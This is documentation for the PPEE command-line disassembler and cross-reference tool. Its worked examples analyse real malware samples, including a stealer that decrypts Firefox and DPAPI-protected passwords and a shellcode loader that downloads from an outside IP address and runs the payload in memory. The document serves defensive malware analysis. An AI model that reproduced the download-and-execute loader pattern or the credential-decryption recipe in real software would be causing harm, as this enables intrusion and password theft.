Skip to content

Disassembly & Cross-references

Three switches read the machine code of x86/x64 files:

Switch Answers
--disasm TARGET What are the instructions at this place?
--xrefs TARGET Where in the code is this API, address or string used?
--functions Which functions did the code scan find?

None of them is part of --all; ask for them by name. They work with --json. The same engine drives the GUI's Code window, the Code analyzer and the MCP tools disassemble, get_xrefs and list_functions.

Static only

PPEE decodes bytes from the file; it never runs them. Packed code shows as the packer's stub until it is unpacked.

--disasm TARGET

TARGET Starts at
ep The entry point
tls, tls:N The first, or the N-th, TLS callback
export:Name, export:#N An export by name or ordinal
func:NAME A named function: an export, a Go function (func:main.main), a COFF symbol. The end of a name works too
va:X, rva:X, or a bare hex VA That address
off:X A file offset. Bytes outside every section (an overlay, appended shellcode) are decoded raw

--count N sets the number of instructions (default 32, at most 5000). Decoding also stops at the end of the section's file data.

Output is plain Intel syntax with VAs. Names replace addresses where PPEE knows them: calls through the import table (call qword ptr [kernel32.GetProcAddress]), exports, the entry point, TLS callbacks and the Control Flow Guard pointers (call qword ptr [__guard_dispatch_icall_fptr]). A referenced string becomes the comment, notable instructions get a hint, and addresses listed in the CFG tables say so (details).

Example: find the original entry point of a UPX-packed file

At a glance

Sample
77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe (UPX-packed)
Question
Where does the unpacked program start?
You'll use
--disasm ep
GUI version
Code analysis, walkthrough 1
$ ppee-cli --disasm ep --count 8 77549422….exe
Disassembly: EntryPoint, x86, section UPX1
  0040A360  60                    pushad
  0040A361  BE 15 90 40 00        mov esi, 0x409015
  0040A366  8D BE EB 7F FF FF     lea edi, dword ptr [esi-0x8015]
  0040A36C  57                    push edi
  0040A36D  EB 0B                 jmp 0x40A37A
  …
PS C:\> ppee-cli.exe --disasm ep --count 8 C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe
C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe: 7168 bytes, PE32

Disassembly: EntryPoint, x86, section UPX1
   0040A360  60                    pushad
   0040A361  BE 15 90 40 00        mov esi, 0x409015
   0040A366  8D BE EB 7F FF FF     lea edi, dword ptr [esi-0x8015]
   0040A36C  57                    push edi
   0040A36D  EB 0B                 jmp 0x40A37A
   0040A36F  90                    nop
   0040A370  8A 06                 mov al, byte ptr [esi]
   0040A372  46                    inc esi

pushad saves all registers: a packer stub. The stub ends with the matching popad, followed by a jump to the unpacked code:

$ ppee-cli --disasm ep --count 300 77549422….exe | grep -A6 popad
  0040A4D5  61                    popad
  0040A4D6  8D 44 24 80           lea eax, dword ptr [esp-0x80]
  0040A4DA  6A 00                 push 0x0
  0040A4DC  39 C4                 cmp esp, eax
  0040A4DE  75 FA                 jnz 0x40A4DA
  0040A4E0  83 EC 80              sub esp, 0xFFFFFF80
  0040A4E3  E9 E9 7C FF FF        jmp 0x4021D1

0x4021D1 is in UPX0, the empty section the stub decompresses into: the original entry point. In a debugger, break on 0x40A4E3, step once, and dump the process.

Example: see what a stealer resolves at run time

At a glance

Sample
STEALERDLL.dll
Question
Which functions does it look up with GetProcAddress, out of sight of the import table?
You'll use
--disasm va: and its string comments
$ ppee-cli --disasm va:0x18009397F --count 5 STEALERDLL.dll
Disassembly: va 0x18009397F, x64, section .text
  000000018009397F  48 8D 15 7A 49 08 00  lea rdx, qword ptr [0x180118300]         ; "PL_Base64Decode"
  0000000180093986  48 8B CF              mov rcx, rdi
  0000000180093989  48 89 05 90 C1 09 00  mov qword ptr [0x18012FB20], rax
  0000000180093990  FF 15 FA A7 06 00     call qword ptr [kernel32.GetProcAddress]
  0000000180093996  48 8D 15 73 49 08 00  lea rdx, qword ptr [0x180118310]         ; "PK11SDR_Decrypt"
PS C:\> ppee-cli.exe --disasm va:0x18009397F --count 5 C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+

Disassembly: va 0x18009397F, x64, section .text
   000000018009397F  48 8D 15 7A 49 08 00  lea rdx, qword ptr [0x180118300]         ; "PL_Base64Decode"
   0000000180093986  48 8B CF              mov rcx, rdi
   0000000180093989  48 89 05 90 C1 09 00  mov qword ptr [0x18012FB20], rax
   0000000180093990  FF 15 FA A7 06 00     call qword ptr [kernel32.GetProcAddress]
   0000000180093996  48 8D 15 73 49 08 00  lea rdx, qword ptr [0x180118310]         ; "PK11SDR_Decrypt"

The string comments make it readable at a glance: the code resolves Firefox NSS functions (PL_Base64Decode, PK11SDR_Decrypt) with GetProcAddress, the standard recipe for decrypting saved Firefox passwords.

Start on an instruction boundary

x86 has variable-length instructions. Starting in the middle of one gives nonsense (lea edx, qword ptr …). Start from a function start (--functions), a site from --xrefs, or a few instructions earlier.

Example: a shellcode loader

At a glance

Sample
86c6bd8098246eaf4527d9caa406221b3ff1ce551cf3b029cfc71d2e5e7a7963.exe
Question
Its strings include http://95.164.53.193:5001/uos.bin. Where is it used, and what happens to what it downloads?
You'll use
--xrefs string: · --disasm va:
GUI version
From a URL to its call site
$ ppee-cli --xrefs string:uos.bin 86c6bd80….exe
Cross-references to "http://95.164.53.193:5001/uos.bin" (string at 0x14003D9A0): 1 site(s)
  sub_140005AE0+0x1C
    0000000140005AF0  mov qword ptr [rsp+0x40], rax
    0000000140005AF5  call 0x140004B30
    0000000140005AFA  xor eax, eax
  > 0000000140005AFC  lea rdx, qword ptr [0x14003D9A0]         ; "http://95.164.53.193:5001/uos.bin"

$ ppee-cli --disasm va:0x140005AFC --count 9 86c6bd80….exe
  0000000140005AFC  48 8D 15 9D 7E 03 00  lea rdx, qword ptr [0x14003D9A0]         ; "http://95.164.53.193:5001/uos.bin"
  0000000140005B03  0F 57 C0              xorps xmm0, xmm0
  0000000140005B06  48 89 44 24 30        mov qword ptr [rsp+0x30], rax
  0000000140005B0B  41 B8 21 00 00 00     mov r8d, 0x21
  ...
  0000000140005B20  E8 3B 1C 00 00        call 0x140007760
  0000000140005B25  48 8D 4C 24 20        lea rcx, qword ptr [rsp+0x20]
  0000000140005B2A  E8 F1 FC FF FF        call 0x140005820

r8d = 0x21 is 33, the URL's length: the code builds a string from it and passes it to 0x140005820. Disassemble that function:

$ ppee-cli --disasm va:0x140005820 --count 130 86c6bd80….exe
  …
  00000001400058A1  call qword ptr [urlmon.URLDownloadToCacheFileW]
  …                 (CreateFileW, GetFileSize, ReadFile, CloseHandle)
  000000014000593D  call qword ptr [kernel32.DeleteFileW]
  …
  0000000140005963  lea rdx, qword ptr [0x14003D970]         ; "VirtualAlloc"
  000000014000596A  call qword ptr [kernel32.GetProcAddress]
  0000000140005970  mov rbx, rax
  0000000140005983  lea rdx, qword ptr [0x14003D980]         ; "CreateThread"
  000000014000598A  call qword ptr [kernel32.GetProcAddress]
  0000000140005990  mov rdi, rax
  00000001400059A3  lea rdx, qword ptr [0x14003D990]         ; "VirtualProtect"
  00000001400059AA  call qword ptr [kernel32.GetProcAddress]
  00000001400059B0  mov rsi, rax
  00000001400059BD  xor ecx, ecx
  00000001400059BF  mov r9d, 0x4
  00000001400059C5  mov r8d, 0x1000
  00000001400059CB  call rbx
  …
  00000001400059E9  call 0x14002DB80
  …
  00000001400059FD  mov r8d, 0x20
  0000000140005A03  mov rcx, rbx
  0000000140005A06  call rsi
  …
  0000000140005A15  mov r9, rbx
  0000000140005A18  lea r8, qword ptr [0x140005810]
  0000000140005A1F  xor edx, edx
  0000000140005A21  xor ecx, ecx
  0000000140005A23  call rdi
  …
  0000000140005A2D  mov edx, 0xFFFFFFFF
  0000000140005A35  call qword ptr [kernel32.WaitForSingleObject]
PS C:\> ppee-cli.exe --disasm va:0x140005820 --count 130 C:\MalwareSamples\86c6bd8098246eaf4527d9caa406221b3ff1ce551cf3b029cfc71d2e5e7a7963.exe
C:\MalwareSamples\86c6bd8098246eaf4527d9caa406221b3ff1ce551cf3b029cfc71d2e5e7a7963.exe: 1048576 bytes, PE32+

Disassembly: va 0x140005820, x64, section .text
   0000000140005820  40 53                 push rbx
   0000000140005822  55                    push rbp
   0000000140005823  56                    push rsi
   0000000140005824  57                    push rdi
   0000000140005825  48 81 EC 88 0A 00 00  sub rsp, 0xA88
   000000014000582C  48 8B 05 CD E8 03 00  mov rax, qword ptr [0x140044100]
   0000000140005833  48 33 C4              xor rax, rsp
   0000000140005836  48 89 84 24 70 0A 00 00 mov qword ptr [rsp+0xA70], rax
   000000014000583E  0F 57 C9              xorps xmm1, xmm1
   0000000140005841  F3 0F 7F 4C 24 40     movdqu xmmword ptr [rsp+0x40], xmm1
   0000000140005847  33 ED                 xor ebp, ebp
   0000000140005849  48 89 6C 24 50        mov qword ptr [rsp+0x50], rbp
   000000014000584E  48 83 79 18 0F        cmp qword ptr [rcx+0x18], 0xF
   0000000140005853  76 03                 jbe 0x140005858
   0000000140005855  48 8B 09              mov rcx, qword ptr [rcx]
   0000000140005858  C7 44 24 28 00 04 00 00 mov dword ptr [rsp+0x28], 0x400
   0000000140005860  48 8D 84 24 70 02 00 00 lea rax, qword ptr [rsp+0x270]
   0000000140005868  48 89 44 24 20        mov qword ptr [rsp+0x20], rax
   000000014000586D  41 B9 FF FF FF FF     mov r9d, 0xFFFFFFFF
   0000000140005873  4C 8B C1              mov r8, rcx
   0000000140005876  33 D2                 xor edx, edx
   0000000140005878  B9 E9 FD 00 00        mov ecx, 0xFDE9
   000000014000587D  FF 15 2D A8 02 00     call qword ptr [kernel32.MultiByteToWideChar]
   0000000140005883  48 89 6C 24 28        mov qword ptr [rsp+0x28], rbp
   0000000140005888  89 6C 24 20           mov dword ptr [rsp+0x20], ebp
   000000014000588C  41 B9 04 01 00 00     mov r9d, 0x104
   0000000140005892  4C 8D 44 24 60        lea r8, qword ptr [rsp+0x60]
   0000000140005897  48 8D 94 24 70 02 00 00 lea rdx, qword ptr [rsp+0x270]
   000000014000589F  33 C9                 xor ecx, ecx
   00000001400058A1  FF 15 31 AB 02 00     call qword ptr [urlmon.URLDownloadToCacheFileW]
   00000001400058A7  85 C0                 test eax, eax
   00000001400058A9  0F 85 C6 01 00 00     jnz 0x140005A75
   00000001400058AF  48 89 6C 24 30        mov qword ptr [rsp+0x30], rbp
   00000001400058B4  C7 44 24 28 80 00 00 00 mov dword ptr [rsp+0x28], 0x80
   00000001400058BC  C7 44 24 20 03 00 00 00 mov dword ptr [rsp+0x20], 0x3
   00000001400058C4  45 33 C9              xor r9d, r9d
   00000001400058C7  BA 00 00 00 80        mov edx, 0x80000000
   00000001400058CC  41 B8 01 00 00 00     mov r8d, 0x1
   00000001400058D2  48 8D 4C 24 60        lea rcx, qword ptr [rsp+0x60]
   00000001400058D7  FF 15 DB A7 02 00     call qword ptr [kernel32.CreateFileW]
   00000001400058DD  48 8B D8              mov rbx, rax
   00000001400058E0  48 83 F8 FF           cmp rax, 0xFFFFFFFFFFFFFFFF
  ...

Read top to bottom, with the x64 argument registers rcx, rdx, r8, r9:

Step Code Meaning
1 URLDownloadToCacheFileW, ReadFile, DeleteFileW Download uos.bin to the browser cache, read it into memory, delete the file
2 GetProcAddress with "VirtualAlloc", "CreateThread", "VirtualProtect" Get three APIs at run time, kept in rbx, rdi, rsi, so they never appear in the import table
3 call rbx with r8 = 0x1000, r9 = 0x4 VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE)
4 call 0x14002DB80 Copy the downloaded bytes in (memcpy)
5 call rsi with r8 = 0x20 VirtualProtect(buffer, size, PAGE_EXECUTE_READ, …): make it executable
6 call rdi with r9 = rbx CreateThread(NULL, 0, 0x140005810, buffer, …): run it
7 WaitForSingleObject(thread, INFINITE) Wait for the shellcode to finish

That is a complete download-and-execute shellcode loader, read statically in a few minutes. The payload never touches disk for long, so the URL is the indicator to block and the thing to fetch (safely) for the next stage.

Example: what does the code load from its resources?

At a glance

Sample
3c6b036f2eebc124c17db51960d9f6c9b39e236e9a33d5ac0c3a3a2cabe36833.exe (RemusStealer dropper)
Question
It holds a 1.5 MB PE in RT_RCDATA #100 (--resources). Does its code load it?
You'll use
--xrefs FindResourceW
$ ppee-cli --xrefs FindResourceW 3c6b036f….exe
Cross-references to kernel32.FindResourceW (import at 0x1400310B8): 1 site(s)
  sub_140001CE0+0xF7
    0000000140001DCD  mov r8d, 0xA
    0000000140001DD3  mov edx, eax
    0000000140001DD5  xor ecx, ecx
  > 0000000140001DD7  call qword ptr [kernel32.FindResourceW]
PS C:\> ppee-cli.exe --xrefs FindResourceW C:\MalwareSamples\3c6b036f2eebc124c17db51960d9f6c9b39e236e9a33d5ac0c3a3a2cabe36833.exe
C:\MalwareSamples\3c6b036f2eebc124c17db51960d9f6c9b39e236e9a33d5ac0c3a3a2cabe36833.exe: 1826352 bytes, PE32+

Cross-references to kernel32.FindResourceW (import at 0x1400310B8): 1 site(s)
  sub_140001CE0+0xF7
    0000000140001DCD  mov r8d, 0xA
    0000000140001DD3  mov edx, eax
    0000000140001DD5  xor ecx, ecx
  > 0000000140001DD7  call qword ptr [kernel32.FindResourceW]

FindResourceW(hModule = NULL, lpName, lpType): in x64 the third argument is r8, and 0xA is RT_RCDATA. The code looks the payload up in its own resources; LoadResource / LockResource / SizeofResource (also imported) then give it the bytes.

--xrefs TARGET

Scans the code, then lists every place that uses TARGET, each with its containing function and the instructions leading up to it, so you can read the arguments being set up.

TARGET Finds
VirtualAlloc or kernel32.VirtualAlloc Calls and reads of that import's IAT slot, including calls through jmp [IAT] thunks
va:X, rva:X, or a hex VA Calls and jumps to code at X; memory references to data at X
string:TEXT Instructions referencing any string that contains TEXT
imm:X Instructions using the constant X (0x100 and up) as an immediate: a control ID, a magic, a hash

For code, the output also says where its address is stored as a pointer in data: how a function with no direct caller is reached (a vtable, a message map, a callback table).

--max-sites N limits the sites printed per target (default 50); the total is always given.

$ ppee-cli --xrefs CryptUnprotectData --max-sites 2 STEALERDLL.dll
Cross-references to crypt32.CryptUnprotectData (import at 0x1800FE070): 3 site(s), first ones listed
  sub_18008F140+0x143
    000000018008F273  mov qword ptr [rsp+0x20], 0x0
    000000018008F27C  xor edx, edx
    000000018008F27E  mov dword ptr [rsp+0x40], r14d
  > 000000018008F283  call qword ptr [crypt32.CryptUnprotectData]
  sub_18008F300+0xFD9
    …
  > 00000001800902D9  call qword ptr [crypt32.CryptUnprotectData]
PS C:\> ppee-cli.exe --xrefs CryptUnprotectData --max-sites 2 C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+

Cross-references to crypt32.CryptUnprotectData (import at 0x1800FE070): 3 site(s), first ones listed
  sub_18008F140+0x143
    000000018008F273  mov qword ptr [rsp+0x20], 0x0
    000000018008F27C  xor edx, edx
    000000018008F27E  mov dword ptr [rsp+0x40], r14d
  > 000000018008F283  call qword ptr [crypt32.CryptUnprotectData]
  sub_18008F300+0xFD9
    00000001800902CC  mov qword ptr [rsp+0x20], r13
    00000001800902D1  xor edx, edx
    00000001800902D3  mov dword ptr [rbp+0x138], esi
  > 00000001800902D9  call qword ptr [crypt32.CryptUnprotectData]

Three DPAPI decryptions in two functions. Now ask where a string is used:

$ ppee-cli --xrefs string:PK11SDR_Decrypt --max-sites 1 STEALERDLL.dll
Cross-references to "PK11SDR_Decrypt" (string at 0x180118310): 3 site(s), first ones listed
  sub_180093750+0x246
    0000000180093986  mov rcx, rdi
    0000000180093989  mov qword ptr [0x18012FB20], rax
    0000000180093990  call qword ptr [kernel32.GetProcAddress]
  > 0000000180093996  lea rdx, qword ptr [0x180118310]         ; "PK11SDR_Decrypt"
PS C:\> ppee-cli.exe --xrefs string:PK11SDR_Decrypt --max-sites 1 C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+

Cross-references to "PK11SDR_Decrypt" (string at 0x180118310): 3 site(s), first ones listed
  sub_180093750+0x246
    0000000180093986  mov rcx, rdi
    0000000180093989  mov qword ptr [0x18012FB20], rax
    0000000180093990  call qword ptr [kernel32.GetProcAddress]
  > 0000000180093996  lea rdx, qword ptr [0x180118310]         ; "PK11SDR_Decrypt"

The string is used by code, not just stored in the file: strong evidence. Disassemble sub_180093750 to read the whole routine.

Reading arguments in 32-bit code

In x86 code, arguments are pushed right to left, so the lead-in shows them. push 0x40 just before call [kernel32.VirtualAlloc] is flProtect = PAGE_EXECUTE_READWRITE: memory for code. Raise the lead-in with the MCP context argument when you need more.

--callers and --callees

The call tree around a function, --depth N levels (1 to 3): who calls it, or what it calls with the imports each function calls. TARGET takes --disasm's forms.

$ ppee-cli --callees ep --depth 3 fcf1da46….exe
fcf1da46….exe: 14336 bytes, PE32+

Callees of ep:
  0x140001578  EntryPoint
      0x140001404  sub_140001404
          imports: api-ms-win-crt-runtime-l1-1-0._cexit, api-ms-win-crt-runtime-l1-1-0._initterm, …
          0x140001070  sub_140001070
              imports: kernel32.CreateToolhelp32Snapshot, kernel32.Sleep, kernel32.GetLastError, kernel32.Process32NextW, kernel32.Process32FirstW, kernel32.CloseHandle, kernel32.CreateProcessW, api-ms-win-crt-string-l1-1-0._wcsicmp
              0x140001010  sub_140001010
          …
          0x1400018A4  sub_1400018A4
              0x140001FF8  sub_140001FF8  (above)
PS C:\> ppee-cli.exe --callees ep --depth 3 C:\MalwareSamples\fcf1da46d66cc6a0a34d68fe79a33bc3e8439affdee942ed82f6623586b01dd1.exe
C:\MalwareSamples\fcf1da46d66cc6a0a34d68fe79a33bc3e8439affdee942ed82f6623586b01dd1.exe: 14336 bytes, PE32+

Callees of ep:
  0x140001578  EntryPoint
      0x140001404  sub_140001404
          imports: api-ms-win-crt-runtime-l1-1-0._register_thread_local_exe_atexit_callback, api-ms-win-crt-runtime-l1-1-0._cexit, api-ms-win-crt-runtime-l1-1-0._exit, api-ms-win-crt-runtime-l1-1-0.exit, api-ms-win-crt-runtime-l1-1-0._initterm_e, api-ms-win-crt-runtime-l1-1-0._initterm, api-ms-win-crt-runtime-l1-1-0._get_wide_winmain_command_line
          0x140001070  sub_140001070
              imports: kernel32.CreateToolhelp32Snapshot, kernel32.Sleep, kernel32.GetLastError, kernel32.Process32NextW, kernel32.Process32FirstW, kernel32.CloseHandle, kernel32.CreateProcessW, api-ms-win-crt-string-l1-1-0._wcsicmp
              0x140001010  sub_140001010
                  imports: api-ms-win-crt-stdio-l1-1-0.__stdio_common_vfwprintf, api-ms-win-crt-stdio-l1-1-0.__acrt_iob_func
          0x140001708  sub_140001708
              0x140001FF8  sub_140001FF8
          0x140001744  sub_140001744
              0x140001A18  sub_140001A18
              0x140001D2C  sub_140001D2C
          0x14000180C  sub_14000180C
          0x1400018A4  sub_1400018A4
              0x140001FF8  sub_140001FF8  (above)
          0x1400018C8  sub_1400018C8
              0x140001A18  sub_140001A18  (above)
          0x140001A50  sub_140001A50
          0x140001A58  sub_140001A58
          0x140001A68  sub_140001A68
              imports: kernel32.RtlLookupFunctionEntry, kernel32.RtlVirtualUnwind, kernel32.UnhandledExceptionFilter, kernel32.SetUnhandledExceptionFilter, kernel32.IsDebuggerPresent, kernel32.IsProcessorFeaturePresent, kernel32.RtlCaptureContext, vcruntime140.memset
              0x140001A60  sub_140001A60
              0x140002022  sub_140002022
                  imports: vcruntime140.memset
          0x140001BB0  sub_140001BB0
              imports: kernel32.GetStartupInfoW, vcruntime140.memset
              0x140002022  sub_140002022  (above)
          0x140001BF4  sub_140001BF4
              imports: kernel32.GetModuleHandleW
          0x140002046  sub_140002046
              imports: api-ms-win-crt-runtime-l1-1-0._get_wide_winmain_command_line
          0x14000204C  sub_14000204C
              imports: api-ms-win-crt-runtime-l1-1-0._initterm
          0x140002052  sub_140002052
              imports: api-ms-win-crt-runtime-l1-1-0._initterm_e
          0x140002058  sub_140002058
              imports: api-ms-win-crt-runtime-l1-1-0.exit
          0x14000205E  sub_14000205E
              imports: api-ms-win-crt-runtime-l1-1-0._exit
          0x14000206A  sub_14000206A
              imports: api-ms-win-crt-runtime-l1-1-0._cexit
          0x140002076  sub_140002076
  ...

A ransomware's 14 KB watchdog: one function enumerates processes and restarts one. For Go, --callees func:main.main starts from the program's own main.

--functions

Lists function starts found by decoding outward from the entry point, TLS callbacks, exports, x64 .pdata and relocated pointers into code (vtables, callback tables; in Delphi code, the virtual-method slots of each VMT and the published-method tables, followed only where the VMT's vmtSelfPtr and class name, or the entry's size field, confirm the structure), following direct calls and jumps.

$ ppee-cli --functions STEALERDLL.dll
Functions: 4102 found (243512 instructions decoded)
  section .text      exec   243512 instruction(s)
  section .rdata     data        0 instruction(s)
  …
  0000000180001000  .pdata            0 caller(s)
  0000000180001030  .pdata            0 caller(s)
  …
PS C:\> ppee-cli.exe --functions C:\MalwareSamples\STEALERDLL.dll
C:\MalwareSamples\STEALERDLL.dll: 1282048 bytes, PE32+

Functions: 4102 found (243512 instructions decoded)
  section .text      exec   243512 instruction(s)
  section .rdata     data        0 instruction(s)
  section .data      data        0 instruction(s)
  section .pdata     data        0 instruction(s)
  section _RDATA     data        0 instruction(s)
  section .rsrc      data        0 instruction(s)
  section .reloc     data        0 instruction(s)
  0000000180001000  .pdata            0 caller(s)
  0000000180001030  .pdata            0 caller(s)
  0000000180001060  .pdata            0 caller(s)
  0000000180001090  .pdata            0 caller(s)
  00000001800010C0  .pdata            0 caller(s)
  00000001800010F0  .pdata            0 caller(s)
  0000000180001120  .pdata            0 caller(s)
  0000000180001150  .pdata            0 caller(s)
  0000000180001180  .pdata            0 caller(s)
  00000001800011B0  .pdata            0 caller(s)
  00000001800011E0  .pdata            0 caller(s)
  0000000180001210  .pdata            0 caller(s)
  0000000180001240  .pdata            0 caller(s)
  0000000180001270  .pdata            0 caller(s)
  00000001800012A0  .pdata            0 caller(s)
  00000001800012D0  .pdata            0 caller(s)
  0000000180001300  .pdata            0 caller(s)
  0000000180001330  .pdata            0 caller(s)
  0000000180001360  .pdata            0 caller(s)
  0000000180001390  .pdata            0 caller(s)
  00000001800013C0  .pdata            0 caller(s)
  00000001800013F0  .pdata            0 caller(s)
  0000000180001420  .pdata            0 caller(s)
  0000000180001450  .pdata            0 caller(s)
  0000000180001480  .pdata            0 caller(s)
  00000001800014B0  .pdata            0 caller(s)
  00000001800014E0  .pdata            0 caller(s)
  0000000180001510  .pdata            0 caller(s)
  0000000180001540  .pdata            0 caller(s)
  0000000180001570  .pdata            0 caller(s)
  00000001800015A0  .pdata            0 caller(s)
  00000001800015D0  .pdata            0 caller(s)
  0000000180001600  .pdata            0 caller(s)
  0000000180001630  .pdata            0 caller(s)
  0000000180001660  .pdata            0 caller(s)
  ...

It first says how many instructions were decoded per section, then lists the function starts. The source column says how each start was found; caller(s) counts direct calls.

On a packed file the section lines tell the story at once:

$ ppee-cli --functions 77549422….exe
Functions: 1 found (162 instructions decoded)
  section UPX0       exec        0 instruction(s)  (executable, but no code found)
  section UPX1       exec      162 instruction(s)
  section .rsrc      data        0 instruction(s)
  0040A360  entry point       0 caller(s)  EntryPoint
PS C:\> ppee-cli.exe --functions C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe
C:\MalwareSamples\77549422a5306f905d68153b1f649745d330d45e564c927046132ecc1d20ae3e.exe: 7168 bytes, PE32

Functions: 1 found (162 instructions decoded)
  section UPX0       exec        0 instruction(s)  (executable, but no code found)
  section UPX1       exec      162 instruction(s)
  section .rsrc      data        0 instruction(s)
  0040A360  entry point       0 caller(s)  EntryPoint

An executable section with no code found is empty in the file or holds packed data: the real program is somewhere the scan can't read yet. Code reached only through computed jumps is missed, so counts are lower bounds.

Bounded on crafted files

The scan stops at 5 million instructions and 4 million references. explorer.exe (830k instructions, 14.7k functions) takes about half a second.

JSON

ppee-cli --json --disasm ep --count 2 f.exe | jq .disasm
{ "target": "ep", "label": "EntryPoint", "arch": "x86", "imageBase": "0x400000", "section": "UPX1", "executable": true,
  "stopReason": "count",
  "instructions": [
    { "va": "0x40A360", "rva": "0xA360", "offset": "0x1560", "bytes": "60", "text": "pushad" },
    { "va": "0x40A361", "rva": "0xA361", "offset": "0x1561", "bytes": "BE15904000", "text": "mov esi, 0x409015" } ] }

Branches add flow (call, jmp, jcc, ret, …) and target; instructions with a hint add hints[]. stopReason is count, end of section data, end of file, byte limit, or ret/jmp (MCP stop_at_flow_end).

ppee-cli --json --xrefs CryptUnprotectData --max-sites 1 STEALERDLL.dll | jq .xrefs
{ "target": "CryptUnprotectData", "instructionsDecoded": 243512,
  "targets": [ { "va": "0x1800FE070", "kind": "import", "name": "crypt32.CryptUnprotectData", "total": 3,
    "sites": [ { "va": "0x18008F283", "function": "sub_18008F140+0x143",
                 "context": [ "0x18008F273  mov qword ptr [rsp+0x20], 0x0", "…", "0x18008F283  call qword ptr [crypt32.CryptUnprotectData]" ] } ] } ] }

--functions adds functions → count, instructionsDecoded, sections[] (name, va, executable, instructions) and list[] (va, source, name when known, callers).

Scan options

Switch Effect
--scan-budget N Code scan budget in millions of instructions (default 5, 1–50). Applies to --analysis, --xrefs, --functions and, given with --mcp, every MCP tool
--no-code-scan Don't scan for --analysis (its Code view then covers the entry point and TLS only) or for MCP string references (codeRefs, referencedByCode). --xrefs and --functions still scan

These are the CLI's version of the GUI's Settings → Disassembly.

Recipes

# Every function that calls CreateRemoteThread, once each
ppee-cli --json --xrefs CreateRemoteThread f.exe | jq -r '.xrefs.targets[].sites[].function | sub("\\+.*";"")' | sort -u

# Which of these suspicious APIs are actually called (not just imported)?
for api in VirtualAllocEx WriteProcessMemory CreateRemoteThread CryptUnprotectData; do
  n=$(ppee-cli --json --xrefs "$api" f.exe | jq '[.xrefs.targets[]?.total] | add // 0')
  echo "$api $n"
done

# Disassemble every TLS callback (code that runs before the entry point)
ppee-cli --disasm tls:0 --count 40 f.exe

Related: Code analysis · Code window · MCP disassemble

References